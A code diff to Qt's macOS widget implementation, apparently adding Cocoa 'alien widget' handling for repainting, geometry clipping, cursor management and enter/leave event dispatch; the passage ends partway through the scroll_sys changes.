@@ -580,25 +584,6 @@ inline static void qt_mac_set_window_group_to_popup(OSWindowRef window) } #endif -#ifdef QT_MAC_USE_COCOA -void qt_mac_set_needs_display(QWidget *widget, QRegion region) -{ - NSView *theNSView = qt_mac_nativeview_for(widget); - if (region.isEmpty()) { - [theNSView setNeedsDisplay:YES]; - return; - } - - QVector rects = region.rects(); - for (int i = 0; i rects = region.rects(); + for (int i = 0; inativeParentWidget()) { + // INVARIANT: q is alien, and effectiveWidget is native. + if (NSView *effectiveView = qt_mac_nativeview_for(effectiveWidget)) { + if (region.isEmpty()) { + const QRect &rect = q->rect(); + QPoint p = q->mapTo(effectiveWidget, rect.topLeft()); + NSRect nsrect = NSMakeRect(p.x(), p.y(), rect.width(), rect.height()); + [effectiveView setNeedsDisplayInRect:nsrect]; + } else { + QVector rects = region.rects(); + for (int i = 0; imapTo(effectiveWidget, rect.topLeft()); + NSRect nsrect = NSMakeRect(p.x(), p.y(), rect.width(), rect.height()); + [effectiveView setNeedsDisplayInRect:nsrect]; + } + } + } + } +#endif +} + void QWidgetPrivate::macUpdateIsOpaque() { Q_Q(QWidget); @@ -1569,6 +1599,11 @@ OSViewRef qt_mac_create_widget(QWidget *widget, QWidgetPrivate *widgetPrivate, O #ifdef QT_MAC_USE_COCOA QMacCocoaAutoReleasePool pool; QT_MANGLE_NAMESPACE(QCocoaView) *view = [[QT_MANGLE_NAMESPACE(QCocoaView) alloc] initWithQWidget:widget widgetPrivate:widgetPrivate]; + +#ifdef ALIEN_DEBUG + qDebug() << "Creating NSView for" << widget; +#endif + if (view && parent) [parent addSubview:view]; return view; @@ -1635,7 +1670,7 @@ bool QWidgetPrivate::qt_mac_update_sizer(QWidget *w, int up) // to happen, prevent that here (you really want the thing hidden). if (up >= 0 || topData->resizer != 0) topData->resizer += up; - OSWindowRef windowRef = qt_mac_window_for(OSViewRef(w->winId())); + OSWindowRef windowRef = qt_mac_window_for(OSViewRef(w->effectiveWinId())); { #ifndef QT_MAC_USE_COCOA WindowClass wclass; @@ -1670,6 +1705,7 @@ bool QWidgetPrivate::qt_mac_update_sizer(QWidget *w, int up) void QWidgetPrivate::qt_clean_root_win() { #ifdef QT_MAC_USE_COCOA + QMacCocoaAutoReleasePool pool; [qt_root_win release]; #else if(!qt_root_win) @@ -2307,15 +2343,12 @@ void QWidgetPrivate::finishCreateWindow_sys_Cocoa(void * /*NSWindow * */ voidWin } [windowRef setContentView:nsview]; [nsview setHidden:NO]; - if (q->testAttribute(Qt::WA_DropSiteRegistered)) - registerDropSite(true); transferChildren(); // Tell Cocoa explicit that we wan't the view to receive key events // (regardless of focus policy) because this is how it works on other // platforms (and in the carbon port): - if (!qApp->focusWidget()) - [windowRef makeFirstResponder:nsview]; + [windowRef makeFirstResponder:nsview]; if (topExtra->posFromMove) { updateFrameStrut(); @@ -2346,8 +2379,9 @@ void QWidgetPrivate::finishCreateWindow_sys_Cocoa(void * /*NSWindow * */ voidWin q->setAttribute(Qt::WA_WState_WindowOpacitySet, false); } - if (qApp->overrideCursor()) - [windowRef disableCursorRects]; + // Its more performant to handle the mouse cursor + // ourselves, expecially when using alien widgets: + [windowRef disableCursorRects]; setWindowLevel(); macUpdateHideOnSuspend(); @@ -2465,8 +2499,6 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO data.crect.setRect(0, 0, desktopSize.width(), desktopSize.height()); dialog = popup = false; // force these flags off } else { - q->setAttribute(Qt::WA_WState_Visible, false); - if (topLevel && (type != Qt::Drawer)) { if (QDesktopWidget *dsk = QApplication::desktop()) { // calc pos/size from screen const bool wasResized = q->testAttribute(Qt::WA_Resized); @@ -2556,6 +2588,8 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO transfer = true; } else if (parentWidget) { // I need to be added to my parent, therefore my parent needs an NSView + // Alien note: a 'window' was supplied as argument, meaning this widget + // is not alien. So therefore the parent cannot be alien either. parentWidget->createWinId(); parent = qt_mac_nativeview_for(parentWidget); } @@ -2627,11 +2661,8 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO data.fstrut_dirty = false; // non-toplevel widgets don't have a frame, so no need to update the strut #ifdef QT_MAC_USE_COCOA - if (q->testAttribute(Qt::WA_NativeWindow) == false || - q->internalWinId() != 0) { -#ifdef ALIEN_DEBUG - qDebug() << "Skipping native widget creation for" << this; -#endif + if (q->testAttribute(Qt::WA_NativeWindow) == false || q->internalWinId() != 0) { + // INVARIANT: q is Alien, and we should not create an NSView to back it up. } else #endif if (OSViewRef osview = qt_mac_create_widget(q, this, qt_mac_nativeview_for(parentWidget))) { @@ -2643,13 +2674,20 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO NSRect bounds = NSMakeRect(data.crect.x(), data.crect.y(), data.crect.width(), data.crect.height()); [osview setFrame:bounds]; setWinId((WId)osview); + if (q->isVisible()) { + // If q were Alien before, but now became native (e.g. if a call to + // winId was done from somewhere), we need to show the view immidiatly: + QMacCocoaAutoReleasePool pool; + [osview setHidden:NO]; + } #endif - if (q->testAttribute(Qt::WA_DropSiteRegistered)) - registerDropSite(true); } } updateIsOpaque(); + + if (q->testAttribute(Qt::WA_DropSiteRegistered)) + registerDropSite(true); if (q->hasFocus()) setFocus_sys(); if (!topLevel && initializeWindow) @@ -2691,16 +2729,29 @@ QWidget::macCGHandle() const return handle(); } +void qt_mac_repaintParentUnderAlienWidget(QWidget *alienWidget) +{ + QWidget *nativeParent = alienWidget->nativeParentWidget(); + if (!nativeParent) + return; + + QPoint globalPos = alienWidget->mapToGlobal(QPoint(0, 0)); + QRect dirtyRect = QRect(nativeParent->mapFromGlobal(globalPos), alienWidget->size()); + nativeParent->repaint(dirtyRect); +} + void QWidget::destroy(bool destroyWindow, bool destroySubWindows) { Q_D(QWidget); + QMacCocoaAutoReleasePool pool; d->aboutToDestroy(); if (!isWindow() && parentWidget()) parentWidget()->d_func()->invalidateBuffer(d->effectiveRectFor(geometry())); + if (!internalWinId()) + qt_mac_repaintParentUnderAlienWidget(this); d->deactivateWidgetCleanup(); qt_mac_event_release(this); if(testAttribute(Qt::WA_WState_Created)) { - QMacCocoaAutoReleasePool pool; setAttribute(Qt::WA_WState_Created, false); QObjectList chldrn = children(); for(int i = 0; i < chldrn.size(); i++) { // destroy all widget children @@ -2756,7 +2807,7 @@ void QWidget::destroy(bool destroyWindow, bool destroySubWindows) void QWidgetPrivate::transferChildren() { Q_Q(QWidget); - if (!q->testAttribute(Qt::WA_WState_Created)) + if (!q->internalWinId()) return; // Can't add any views anyway QObjectList chlist = q->children(); @@ -2768,7 +2819,7 @@ void QWidgetPrivate::transferChildren() // This seems weird, no need to call it in a loop right? if (!topData()->caption.isEmpty()) setWindowTitle_helper(extra->topextra->caption); - if (w->testAttribute(Qt::WA_WState_Created)) { + if (w->internalWinId()) { #ifndef QT_MAC_USE_COCOA HIViewAddSubview(qt_mac_nativeview_for(q), qt_mac_nativeview_for(w)); #else @@ -2889,11 +2940,11 @@ void QWidgetPrivate::setParent_sys(QWidget *parent, Qt::WindowFlags f) #ifndef QT_MAC_USE_COCOA old_window_event = window_event; #else - OSWindowRef oldWindow = qt_mac_window_for(old_id); if (qt_mac_is_macdrawer(q)) { oldDrawer = qt_mac_drawer_for(q); } if (wasWindow) { + OSWindowRef oldWindow = qt_mac_window_for(old_id); oldToolbar = [oldWindow toolbar]; if (oldToolbar) { [oldToolbar retain]; @@ -3015,7 +3066,7 @@ void QWidgetPrivate::setParent_sys(QWidget *parent, Qt::WindowFlags f) QPoint QWidget::mapToGlobal(const QPoint &pos) const { Q_D(const QWidget); - if (!testAttribute(Qt::WA_WState_Created) || !internalWinId()) { + if (!internalWinId()) { QPoint p = pos + data->crect.topLeft(); return isWindow() ? p : parentWidget()->mapToGlobal(p); } @@ -3042,7 +3093,7 @@ QPoint QWidget::mapToGlobal(const QPoint &pos) const QPoint QWidget::mapFromGlobal(const QPoint &pos) const { Q_D(const QWidget); - if (!testAttribute(Qt::WA_WState_Created) || !internalWinId()) { + if (!internalWinId()) { QPoint p = isWindow() ? pos : parentWidget()->mapFromGlobal(pos); return p - data->crect.topLeft(); } @@ -3069,28 +3120,12 @@ void QWidgetPrivate::updateSystemBackground() void QWidgetPrivate::setCursor_sys(const QCursor &) { -#ifndef QT_MAC_USE_COCOA qt_mac_update_cursor(); -#else - Q_Q(QWidget); - if (q->testAttribute(Qt::WA_WState_Created)) { - QMacCocoaAutoReleasePool pool; - [qt_mac_window_for(q) invalidateCursorRectsForView:qt_mac_nativeview_for(q)]; - } -#endif } void QWidgetPrivate::unsetCursor_sys() { -#ifndef QT_MAC_USE_COCOA qt_mac_update_cursor(); -#else - Q_Q(QWidget); - if (q->testAttribute(Qt::WA_WState_Created)) { - QMacCocoaAutoReleasePool pool; - [qt_mac_window_for(q) invalidateCursorRectsForView:qt_mac_nativeview_for(q)]; - } -#endif } void QWidgetPrivate::setWindowTitle_sys(const QString &caption) @@ -3232,24 +3267,28 @@ void QWidget::grabMouse() if(mac_mouse_grabber) mac_mouse_grabber->releaseMouse(); mac_mouse_grabber=this; + qt_mac_setMouseGrabCursor(true); } } #ifndef QT_NO_CURSOR -void QWidget::grabMouse(const QCursor &) +void QWidget::grabMouse(const QCursor &cursor) { if(isVisible() && !qt_nograb()) { if(mac_mouse_grabber) mac_mouse_grabber->releaseMouse(); mac_mouse_grabber=this; + qt_mac_setMouseGrabCursor(true, const_cast(&cursor)); } } #endif void QWidget::releaseMouse() { - if(!qt_nograb() && mac_mouse_grabber == this) + if(!qt_nograb() && mac_mouse_grabber == this) { mac_mouse_grabber = 0; + qt_mac_setMouseGrabCursor(false); + } } void QWidget::grabKeyboard() @@ -3334,35 +3373,10 @@ QWindowSurface *QWidgetPrivate::createDefaultWindowSurface_sys() void QWidgetPrivate::update_sys(const QRect &r) { Q_Q(QWidget); - if (r == q->rect()) { - if (updateRedirectedToGraphicsProxyWidget(q, r)) - return; - dirtyOnWidget += r; -#ifndef QT_MAC_USE_COCOA - HIViewSetNeedsDisplay(qt_mac_nativeview_for(q), true); -#else - qt_mac_set_needs_display(q, QRegion()); -#endif + if (updateRedirectedToGraphicsProxyWidget(q, r)) return; - } - - int x = r.x(), y = r.y(), w = r.width(), h = r.height(); - if (w < 0) - w = q->data->crect.width() - x; - if (h < 0) - h = q->data->crect.height() - y; - if (w && h) { - const QRect updateRect = QRect(x, y, w, h); - if (updateRedirectedToGraphicsProxyWidget(q, updateRect)) - return; -#ifndef QT_MAC_USE_COCOA - dirtyOnWidget += updateRect; - HIRect r = CGRectMake(x, y, w, h); - HIViewSetNeedsDisplayInRect(qt_mac_nativeview_for(q), &r, true); -#else - [qt_mac_nativeview_for(q) setNeedsDisplayInRect:NSMakeRect(x, y, w, h)]; -#endif - } + dirtyOnWidget += r; + macSetNeedsDisplay(r != q->rect() ? r : QRegion()); } void QWidgetPrivate::update_sys(const QRegion &rgn) @@ -3371,33 +3385,7 @@ void QWidgetPrivate::update_sys(const QRegion &rgn) if (updateRedirectedToGraphicsProxyWidget(q, rgn)) return; dirtyOnWidget += rgn; -#ifndef QT_MAC_USE_COCOA - RgnHandle rgnHandle = rgn.toQDRgnForUpdate_sys(); - if (rgnHandle) - HIViewSetNeedsDisplayInRegion(qt_mac_nativeview_for(q), QMacSmartQuickDrawRegion(rgnHandle), true); - else { - HIViewSetNeedsDisplay(qt_mac_nativeview_for(q), true); // do a complete repaint on overflow. - } -#else - // Alien support: get the first native ancestor widget (will be q itself in the non-alien case), - // map the coordinates from q space to NSView space and invalidate the rect. - QWidget *nativeParent = q->internalWinId() ? q : q->nativeParentWidget(); - if (nativeParent == 0) - return; - - QVector rects = rgn.rects(); - for (int i = 0; i < rects.count(); ++i) { - const QRect &rect = rects.at(i); - - const QRect nativeBoundingRect = QRect( - QPoint(q->mapTo(nativeParent, rect.topLeft())), - QSize(rect.size())); - - [qt_mac_nativeview_for(nativeParent) setNeedsDisplayInRect:NSMakeRect(nativeBoundingRect.x(), - nativeBoundingRect.y(), nativeBoundingRect.width(), - nativeBoundingRect.height())]; - } -#endif + macSetNeedsDisplay(rgn); } bool QWidgetPrivate::isRealWindow() const @@ -3436,7 +3424,6 @@ void QWidgetPrivate::show_sys() data.fstrut_dirty = true; if (realWindow) { - // Delegates can change window state, so record some things earlier. bool isCurrentlyMinimized = (q->windowState() & Qt::WindowMinimized); setModal_sys(); OSWindowRef window = qt_mac_window_for(q); @@ -3483,9 +3470,11 @@ void QWidgetPrivate::show_sys() } } setSubWindowStacking(true); + qt_mac_update_cursor(); #endif if (q->windowType() == Qt::Popup) { - if (q->focusWidget()) + qt_button_down = 0; + if (q->focusWidget()) q->focusWidget()->d_func()->setFocus_sys(); else setFocus_sys(); @@ -3507,21 +3496,32 @@ void QWidgetPrivate::show_sys() #ifndef QT_MAC_USE_COCOA HIViewSetVisible(qt_mac_nativeview_for(q), true); #else - [qt_mac_nativeview_for(q) setHidden:NO]; - + if (NSView *view = qt_mac_nativeview_for(q)) { + // INVARIANT: q is native. Just show the view: + [view setHidden:NO]; + } else { + // INVARIANT: q is alien. Repaint q instead: + q->repaint(); + } #endif } - if (!QWidget::mouseGrabber()){ - QWidget *enterWidget = QApplication::widgetAt(QCursor::pos()); - QApplicationPrivate::dispatchEnterLeave(enterWidget, qt_mouseover); - qt_mouseover = enterWidget; +#ifdef QT_MAC_USE_COCOA + if ([NSApp isActive] && !qt_button_down && !QWidget::mouseGrabber()){ + // Update enter/leave immidiatly, don't wait for a move event. But only + // if no grab exists (even if the grab points to this widget, it seems, ref X11) + QPoint qlocal, qglobal; + QWidget *widgetUnderMouse = 0; + qt_mac_getTargetForMouseEvent(0, QEvent::Enter, qlocal, qglobal, 0, &widgetUnderMouse); + QApplicationPrivate::dispatchEnterLeave(widgetUnderMouse, qt_last_mouse_receiver); + qt_last_mouse_receiver = widgetUnderMouse; } +#endif + topLevelAt_cache = 0; qt_event_request_window_change(q); } - QPoint qt_mac_nativeMapFromParent(const QWidget *child, const QPoint &pt) { #ifndef QT_MAC_USE_COCOA @@ -3602,6 +3602,7 @@ void QWidgetPrivate::hide_sys() } #endif toggleDrawers(false); + qt_mac_update_cursor(); #ifndef QT_MAC_USE_COCOA // Clear modality (because it seems something that we've always done). if (data.window_modality != Qt::NonModal) { @@ -3649,18 +3650,29 @@ void QWidgetPrivate::hide_sys() #ifndef QT_MAC_USE_COCOA HIViewSetVisible(qt_mac_nativeview_for(q), false); #else - [qt_mac_nativeview_for(q) setHidden:YES]; + if (NSView *view = qt_mac_nativeview_for(q)) { + // INVARIANT: q is native. Just hide the view: + [view setHidden:YES]; + } else { + // INVARIANT: q is alien. Repaint where q is placed instead: + qt_mac_repaintParentUnderAlienWidget(q); + } #endif } - if (!QWidget::mouseGrabber()){ - QWidget *enterWidget = QApplication::widgetAt(QCursor::pos()); - if (enterWidget && enterWidget->data->in_destructor) - enterWidget = 0; - QApplicationPrivate::dispatchEnterLeave(enterWidget, qt_mouseover); - qt_mouseover = enterWidget; - } - +#ifdef QT_MAC_USE_COCOA + if ([NSApp isActive] && !qt_button_down && !QWidget::mouseGrabber()){ + // Update enter/leave immidiatly, don't wait for a move event. But only + // if no grab exists (even if the grab points to this widget, it seems, ref X11) + QPoint qlocal, qglobal; + QWidget *widgetUnderMouse = 0; + qt_mac_getTargetForMouseEvent(0, QEvent::Leave, qlocal, qglobal, 0, &widgetUnderMouse); + QApplicationPrivate::dispatchEnterLeave(widgetUnderMouse, qt_last_mouse_receiver); + qt_last_mouse_receiver = widgetUnderMouse; + } +#endif + + topLevelAt_cache = 0; qt_event_request_window_change(q); deactivateWidgetCleanup(); qt_mac_event_release(q); @@ -3883,12 +3895,14 @@ void QWidgetPrivate::raise_sys() QWidget *parentWidget = q->parentWidget(); if(parentWidget) { OSWindowRef parentWindow = qt_mac_window_for(parentWidget); - if(parentWindow && [parentWindow isOnActiveSpace]) { - // The window was created in a different space. Therefore if we want - // to show it in the current space we need to recreate it in the new - // space. - recreateMacWindow(); - window = qt_mac_window_for(q); + if(parentWindow && [parentWindow respondsToSelector:@selector(isOnActiveSpace)]) { + if ([parentWindow performSelector:@selector(isOnActiveSpace)]) { + // The window was created in a different space. Therefore if we want + // to show it in the current space we need to recreate it in the new + // space. + recreateMacWindow(); + window = qt_mac_window_for(q); + } } } } @@ -3905,6 +3919,7 @@ void QWidgetPrivate::raise_sys() NSView *parentView = [view superview]; [parentView sortSubviewsUsingFunction:compareViews2Raise context:reinterpret_cast(view)]; } + topLevelAt_cache = 0; #else if(q->isWindow()) { //raise this window @@ -3945,6 +3960,7 @@ void QWidgetPrivate::lower_sys() NSView *parentView = [view superview]; [parentView sortSubviewsUsingFunction:compareViews2Lower context:reinterpret_cast(view)]; } + topLevelAt_cache = 0; #else if(q->isWindow()) { SendBehind(qt_mac_window_for(q), 0); @@ -4001,6 +4017,7 @@ void QWidgetPrivate::stackUnder_sys(QWidget *w) #endif } +#ifndef QT_MAC_USE_COCOA /* Modifies the bounds for a widgets backing HIView during moves and resizes. Also updates the widget, either by scrolling its contents or repainting, depending on the WA_StaticContents @@ -4008,7 +4025,6 @@ void QWidgetPrivate::stackUnder_sys(QWidget *w) */ static void qt_mac_update_widget_position(QWidget *q, QRect oldRect, QRect newRect) { -#ifndef QT_MAC_USE_COCOA HIRect bounds = CGRectMake(newRect.x(), newRect.y(), newRect.width(), newRect.height()); @@ -4100,13 +4116,8 @@ static void qt_mac_update_widget_position(QWidget *q, QRect oldRect, QRect newRe HIViewSetNeedsDisplayInRect(view, &verticalSlice, true); const HIRect horizontalSlice = CGRectMake(0, starty, startx, stopy); HIViewSetNeedsDisplayInRect(view, &horizontalSlice, true); -#else - Q_UNUSED(oldRect); - NSRect bounds = NSMakeRect(newRect.x(), newRect.y(), - newRect.width(), newRect.height()); - [qt_mac_nativeview_for(q) setFrame:bounds]; -#endif } +#endif /* Helper function for non-toplevel widgets. Helps to map Qt's 32bit @@ -4127,7 +4138,15 @@ void QWidgetPrivate::setWSGeometry(bool dontShow, const QRect &oldRect) { Q_Q(QWidget); Q_ASSERT(q->testAttribute(Qt::WA_WState_Created)); - Q_UNUSED(oldRect); + + if (!q->internalWinId() && QApplicationPrivate::graphicsSystem() != 0) { + // We have no view to move, and no paint engine that + // we can update dirty regions on. So just return: + return; + } + + QMacCocoaAutoReleasePool pool; + /* There are up to four different coordinate systems here: Qt coordinate system for this widget. @@ -4135,13 +4154,31 @@ void QWidgetPrivate::setWSGeometry(bool dontShow, const QRect &oldRect) Qt coordinate system for parent X coordinate system for parent (relative to parent's wrect). */ + + // wrect is the same as crect, except that it is + // clipped to fit inside parent (and screen): QRect wrect; - //xrect is the X geometry of my X widget. (starts out in parent's Qt coord sys, and ends up in parent's X coord sys) - QRect xrect = data.crect; + // wrectInParentCoordSys will be the same as wrect, except that it is + // originated in q's parent rather than q itself. It starts out in + // parent's Qt coord system, and ends up in parent's coordinate system: + QRect wrectInParentCoordSys = data.crect; + + // If q's parent has been clipped, parentWRect will + // be filled with the parents clipped crect: QRect parentWRect; + + // Embedded have different meaning on each platform, and on + // Mac, it means that q is a QMacNativeWidget. bool isEmbeddedWindow = (q->isWindow() && topData()->embedded); - if (isEmbeddedWindow) { +#ifdef QT_MAC_USE_COCOA + NSView *nsview = qt_mac_nativeview_for(q); +#endif + if (!isEmbeddedWindow) { + parentWRect = q->parentWidget()->data->wrect; + } else { + // INVARIANT: q's parent view is not owned by Qt. So we need to + // do some extra calls to get the clipped rect of the parent view: #ifndef QT_MAC_USE_COCOA HIViewRef parentView = HIViewGetSuperview(qt_mac_nativeview_for(q)); #else @@ -4160,43 +4197,57 @@ void QWidgetPrivate::setWSGeometry(bool dontShow, const QRect &oldRect) const QRect wrectRange(-WRECT_MAX,-WRECT_MAX, 2*WRECT_MAX, 2*WRECT_MAX); parentWRect = wrectRange; } - } else { - parentWRect = q->parentWidget()->data->wrect; } if (parentWRect.isValid()) { - // parent is clipped, and we have to clip to the same limit as parent - if (!parentWRect.contains(xrect) && !isEmbeddedWindow) { - xrect &= parentWRect; - wrect = xrect; - //translate from parent's to my Qt coord sys + // INVARIANT: q's parent has been clipped. + // So we fit our own wrects inside it: + if (!parentWRect.contains(wrectInParentCoordSys) && !isEmbeddedWindow) { + wrectInParentCoordSys &= parentWRect; + wrect = wrectInParentCoordSys; + // Make sure wrect is originated in q's coordinate system: wrect.translate(-data.crect.topLeft()); } - //translate from parent's Qt coords to parent's X coords - xrect.translate(-parentWRect.topLeft()); - + // // Make sure wrectInParentCoordSys originated in q's parent coordinate system: + wrectInParentCoordSys.translate(-parentWRect.topLeft()); } else { - // parent is not clipped, we may or may not have to clip + // INVARIANT: we dont know yet the clipping rect of q's parent. + // So we may or may not have to adjust our wrects: if (data.wrect.isValid() && QRect(QPoint(),data.crect.size()).contains(data.wrect)) { - // This is where the main optimization is: we are already - // clipped, and if our clip is still valid, we can just - // move our window, and do not need to move or clip - // children + // This is where the main optimization is: we have an old wrect from an earlier + // setGeometry call, and the new crect is smaller than it. If the final wrect is + // also inside the old wrect, we can just move q and its children to the new + // location without any clipping: + + // vrect will be the part of q that's will be visible inside + // q's parent. If it inside the old wrect, then we can just move: + QRect vrect = wrectInParentCoordSys & q->parentWidget()->rect(); + vrect.translate(-data.crect.topLeft()); - QRect vrect = xrect & q->parentWidget()->rect(); - vrect.translate(-data.crect.topLeft()); //the part of me that's visible through parent, in my Qt coords if (data.wrect.contains(vrect)) { - xrect = data.wrect; - xrect.translate(data.crect.topLeft()); + wrectInParentCoordSys = data.wrect; + wrectInParentCoordSys.translate(data.crect.topLeft()); #ifndef QT_MAC_USE_COCOA - HIRect bounds = CGRectMake(xrect.x(), xrect.y(), - xrect.width(), xrect.height()); + HIRect bounds = CGRectMake(wrectInParentCoordSys.x(), wrectInParentCoordSys.y(), + wrectInParentCoordSys.width(), wrectInParentCoordSys.height()); HIViewSetFrame(qt_mac_nativeview_for(q), &bounds); #else - NSRect bounds = NSMakeRect(xrect.x(), xrect.y(), - xrect.width(), xrect.height()); - [qt_mac_nativeview_for(q) setFrame:bounds]; + if (nsview) { + // INVARIANT: q is native. Set view frame: + NSRect bounds = NSMakeRect(wrectInParentCoordSys.x(), wrectInParentCoordSys.y(), + wrectInParentCoordSys.width(), wrectInParentCoordSys.height()); + [nsview setFrame:bounds]; + } else { + // INVARIANT: q is alien. Repaint wrect instead (includes old and new wrect): + QWidget *parent = q->parentWidget(); + QPoint globalPosWRect = parent->mapToGlobal(data.wrect.topLeft()); + + QWidget *nativeParent = q->nativeParentWidget(); + QRect dirtyWRect = QRect(nativeParent->mapFromGlobal(globalPosWRect), data.wrect.size()); + + nativeParent->update(dirtyWRect); + } #endif if (q->testAttribute(Qt::WA_OutsideWSRange)) { q->setAttribute(Qt::WA_OutsideWSRange, false); @@ -4205,7 +4256,8 @@ void QWidgetPrivate::setWSGeometry(bool dontShow, const QRect &oldRect) #ifndef QT_MAC_USE_COCOA HIViewSetVisible(qt_mac_nativeview_for(q), true); #else - [qt_mac_nativeview_for(q) setHidden:NO]; + // If q is Alien, the following call does nothing: + [nsview setHidden:NO]; #endif } } @@ -4213,9 +4265,10 @@ void QWidgetPrivate::setWSGeometry(bool dontShow, const QRect &oldRect) } } + // Check if we need to clip q inside the screen: const QRect validRange(-XCOORD_MAX,-XCOORD_MAX, 2*XCOORD_MAX, 2*XCOORD_MAX); - if (!validRange.contains(xrect)) { - // we are too big, and must clip + if (!validRange.contains(wrectInParentCoordSys)) { + // We're too big, and must clip: QPoint screenOffset(0, 0); // offset of the part being on screen const QWidget *parentWidget = q->parentWidget(); while (parentWidget && !parentWidget->isWindow()) { @@ -4227,14 +4280,14 @@ void QWidgetPrivate::setWSGeometry(bool dontShow, const QRect &oldRect) 2*WRECT_MAX, 2*WRECT_MAX); - xrect &=cropRect; - wrect = xrect; - wrect.translate(-data.crect.topLeft()); // translate wrect in my Qt coordinates + wrectInParentCoordSys &=cropRect; + wrect = wrectInParentCoordSys; + wrect.translate(-data.crect.topLeft()); } } // unmap if we are outside the valid window system coord system - bool outsideRange = !xrect.isValid(); + bool outsideRange = !wrectInParentCoordSys.isValid(); bool mapWindow = false; if (q->testAttribute(Qt::WA_OutsideWSRange) != outsideRange) { q->setAttribute(Qt::WA_OutsideWSRange, outsideRange); @@ -4242,7 +4295,8 @@ void QWidgetPrivate::setWSGeometry(bool dontShow, const QRect &oldRect) #ifndef QT_MAC_USE_COCOA HIViewSetVisible(qt_mac_nativeview_for(q), false); #else - [qt_mac_nativeview_for(q) setHidden:YES]; + // If q is Alien, the following call does nothing: + [nsview setHidden:YES]; #endif q->setAttribute(Qt::WA_Mapped, false); } else if (!q->isHidden()) { @@ -4253,10 +4307,10 @@ void QWidgetPrivate::setWSGeometry(bool dontShow, const QRect &oldRect) if (outsideRange) return; + // Store the new clipped rect: bool jump = (data.wrect != wrect); data.wrect = wrect; - // and now recursively for all children... // ### can be optimized for (int i = 0; i < children.size(); ++i) { @@ -4268,17 +4322,56 @@ void QWidgetPrivate::setWSGeometry(bool dontShow, const QRect &oldRect) } } - qt_mac_update_widget_position(q, oldRect, xrect); - - if (jump) +#ifndef QT_MAC_USE_COCOA + // Move the actual HIView: + qt_mac_update_widget_position(q, oldRect, wrectInParentCoordSys); + if (jump) q->update(); +#else + if (nsview) { + // INVARIANT: q is native. Move the actual NSView: + NSRect bounds = NSMakeRect( + wrectInParentCoordSys.x(), wrectInParentCoordSys.y(), + wrectInParentCoordSys.width(), wrectInParentCoordSys.height()); + [nsview setFrame:bounds]; + if (jump) + q->update(); + } else if (QApplicationPrivate::graphicsSystem() == 0){ + // INVARIANT: q is alien and we use native paint engine. + // Schedule updates where q is moved from and to: + const QWidget *parent = q->parentWidget(); + const QPoint globalPosOldWRect = parent->mapToGlobal(oldRect.topLeft()); + const QPoint globalPosNewWRect = parent->mapToGlobal(wrectInParentCoordSys.topLeft()); + + QWidget *nativeParent = q->nativeParentWidget(); + const QRegion dirtyOldWRect = QRect(nativeParent->mapFromGlobal(globalPosOldWRect), oldRect.size()); + const QRegion dirtyNewWRect = QRect(nativeParent->mapFromGlobal(globalPosNewWRect), wrectInParentCoordSys.size()); + + const bool sizeUnchanged = oldRect.size() == wrectInParentCoordSys.size(); + const bool posUnchanged = oldRect.topLeft() == wrectInParentCoordSys.topLeft(); + + // Resolve/minimize the region that needs to update: + if (sizeUnchanged && q->testAttribute(Qt::WA_OpaquePaintEvent)) { + // INVARIANT: q is opaque, and is only moved (not resized). So in theory we only + // need to blit pixels, and skip a repaint. But we can only make this work if we + // had access to the backbuffer, so we need to update all: + nativeParent->update(dirtyOldWRect | dirtyNewWRect); + } else if (posUnchanged && q->testAttribute(Qt::WA_StaticContents)) { + // We only need to redraw exposed areas: + nativeParent->update(dirtyNewWRect - dirtyOldWRect); + } else { + nativeParent->update(dirtyOldWRect | dirtyNewWRect); + } + } +#endif if (mapWindow && !dontShow) { q->setAttribute(Qt::WA_Mapped); #ifndef QT_MAC_USE_COCOA HIViewSetVisible(qt_mac_nativeview_for(q), true); #else - [qt_mac_nativeview_for(q) setHidden:NO]; + // If q is Alien, the following call does nothing: + [nsview setHidden:NO]; #endif } } @@ -4340,7 +4433,6 @@ void QWidgetPrivate::setGeometry_sys(int x, int y, int w, int h, bool isMove) QMacCocoaAutoReleasePool pool; bool realWindow = isRealWindow(); - BOOL needDisplay = realWindow ? YES : NO; if (realWindow && !q->testAttribute(Qt::WA_DontShowOnScreen)){ adjustWithinMaxAndMinSize(w, h); @@ -4388,7 +4480,7 @@ void QWidgetPrivate::setGeometry_sys(int x, int y, int w, int h, bool isMove) if (currTopLeft.x() == x && currTopLeft.y() == y && cocoaFrameRect.size.width != 0 && cocoaFrameRect.size.height != 0) { - [window setFrame:cocoaFrameRect display:needDisplay]; + [window setFrame:cocoaFrameRect display:realWindow]; } else { // The window is moved and resized (or resized to zero). // Since Cocoa usually only sends us a resize callback after @@ -4397,7 +4489,7 @@ void QWidgetPrivate::setGeometry_sys(int x, int y, int w, int h, bool isMove) // would have the same origin as the setFrame call) we shift the // window back and forth inbetween. cocoaFrameRect.origin.y += 1; - [window setFrame:cocoaFrameRect display:needDisplay]; + [window setFrame:cocoaFrameRect display:realWindow]; cocoaFrameRect.origin.y -= 1; [window setFrameOrigin:cocoaFrameRect.origin]; } @@ -4405,6 +4497,8 @@ void QWidgetPrivate::setGeometry_sys(int x, int y, int w, int h, bool isMove) } else { setGeometry_sys_helper(x, y, w, h, isMove); } + + topLevelAt_cache = 0; } void QWidgetPrivate::setGeometry_sys_helper(int x, int y, int w, int h, bool isMove) @@ -4545,6 +4639,7 @@ void QWidgetPrivate::updateMaximizeButton_sys() void QWidgetPrivate::scroll_sys(int dx, int dy) { if (QApplicationPrivate::graphicsSystem() && !paintOnScreen()) { + // INVARIANT: Alien paint engine scrollChildren(dx, dy); scrollRect(q_func()->rect(), dx, dy); } else { @@ -4552,37 +4647,54 @@ void QWidgetPrivate::scroll_sys(int dx, int dy) } } -void QWidgetPrivate::scroll_sys(int dx, int dy, const QRect &r) +void QWidgetPrivate::scroll_sys(int dx, int dy, const QRect &qscrollRect) { Q_Q(QWidget); - if (QApplicationPrivate::graphicsSystem() && !paintOnScreen()) { - scrollRect(r, dx, dy); + // INVARIANT: Alien paint engine + scrollRect(qscrollRect, dx, dy); return; } - const bool valid_rect = r.isValid(); - if (!q->updatesEnabled() && (valid_rect || q->children().isEmpty())) - return; + const bool isAlien = (q->internalWinId() == 0); + const QPoint scrollDelta(dx, dy); + + // If qscrollRect is valid, we are _not_ supposed to scroll q's children (as documented). + // But we do scroll children (and the whole of q) if qscrollRect is invalid. This case is + // documented as undefined, but we exploit it 